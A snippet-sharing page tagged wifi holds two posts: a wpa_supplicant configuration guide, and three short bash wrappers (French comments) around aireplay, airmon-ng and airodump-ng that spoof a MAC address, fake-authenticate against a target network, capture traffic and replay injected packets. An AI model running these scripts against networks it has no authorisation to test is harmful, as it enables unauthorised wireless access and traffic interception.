Tags: wifi

Sort by: Date / Title /

  1. 1 year ago by frycake and saved by 1 other
    1. # 1. Installation of the needed package
    2. apt-get install wpasupplicant
    3.  
    4. # 2. modify the file wpa_supplicant.conf (create if not exist in /etc/wpa_supplicant)
    5. ctrl_interface=/var/run/wpa_supplicant
    6.  
    7. network={
    8.   ssid="ssid_of_the_network"
    9.   key_mgmt=WPA-PSK
    10.   proto=WPA
    11.   pairwise=TKIP
    12.   psk="my passphrase"
    13. }
    14.  
    15. # if you want an other network
    16. network={
    17.   ssid="ssid_of_an_other_network"
    18.   key_mgmt=NONE
    19. }
    20.  
    21. # 3. modify /etc/network/interfaces
    22. auto myinterface
    23. iface myinterface inet dhcp
    24.   wpa-drivers wext # you can get the list of drivers with the command wpa_supplicant
    25.   wpa-conf /path_of_wpa_supplicant.conf
    26.  
    27. # 4. We can run
    28. ifdown myinterface && ifup myinterface
  2. 1 year ago by neorom
    1. #test si filtrage mac présent
    2. #!/bin/bash
    3. # $1= essid a attaquer
    4. # $2= @ mac a attaquer
    5. # $3= @ mac spoofee ou une au hasard
    6. # $4= interface
    7. if [ $# == 0 ]
    8. then
    9. echo " lancement par : "
    10. echo " test-filtrage-mac.sh essid-a-attaquer @mac-a-attaquer @mac-spoofer interface"
    11. fi
    12. if [ $# == 4 ]
    13. then
    14. aireplay -1 10 -e $1 -a $2 -b $2 -h $3 $4
    15. fi
    16.  
    17. #lancement scanner
    18. #!/bin/bash
    19. #$1 = interface
    20. if [ $# == 0 ]
    21. then
    22.         echo "lancement par "
    23.         echo " lancement-scan.sh interface"
    24. fi
    25. if [ $# == 1 ]
    26. then
    27. airmon-ng start $1
    28. airodump-ng --write logs-scan $1
    29. fi
    30.  
    31. #injection de pquets
    32. #!/bin/bash
    33. # $1= essid a attaquer
    34. # $2= @ mac a attaquer
    35. # $3= @ mac spoofee ou une au hasard
    36. # $4= nb de paquets a send par sec, plus de paquet = plus de puissance
    37. # $5= interface
    38. if [ $# == 0 ]
    39. then
    40. echo " lancement par : "
    41. echo " test-filtrage-mac.sh essid-a-attaquer @mac-a-attaquer @mac-spoofer  nb-paquets-par-sec interface"
    42. fi
    43. if [ $# == 5 ]
    44. then
    45. aireplay -1 10 -e $1 -a $2 -b $2 -h $3 -x $4 -r logs-scan-01.cap $5
    46. fi

First / Previous / Next / Last / Page 1 of 1 (2 posteets)